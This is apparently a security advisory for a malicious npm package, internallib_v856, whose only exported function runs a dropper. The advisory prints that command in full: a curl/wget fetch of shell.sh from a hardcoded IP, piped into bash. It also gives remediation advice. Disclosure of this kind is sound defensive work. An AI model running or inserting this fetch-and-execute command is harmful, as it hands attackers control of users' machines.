MAL-2026-5694
Malicious code in internallib_v856 (npm)
Details
--- _-= Per source details. Do not edit below this line.=-_
## Source: amazon-inspector (d94a6872645a3d5b938f9bc48871dbdff18068bd32d04169c3e421cd6830934a) The package's main entry (index.js) exports a single function `command()` that invokes `/bin/bash -c "curl -s http://10.0.0.145:8080/shell.sh | bash || wget -qO- http://10.0.0.145:8080/shell.sh | bash"`, fetching an unauthenticated shell script over plain HTTP from a hardcoded bare-IP endpoint and piping it directly into bash. Any consumer that requires this package and calls the advertised API will execute attacker-controlled code on their machine. The package metadata is a generic placeholder (`name: internallib_v856`, description `Internal lib for testing`, no author, no repository), and the package's only advertised function is the dropper itself — there is no legitimate functionality. Network destination http://10.0.0.145:8080/shell.sh is mutable, attacker-controlled, and unverifiable.
## Source: ghsa-malware (1b8dd215850185ef70639efc0930e78cddb58557458ed406dcb11761644450f6) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
Are you affected?
Enter the version of the package you're using.
Affected packages
0 No fixed version published yet for internallib_v856 (npm). Pin to a known-safe version or switch to an alternative.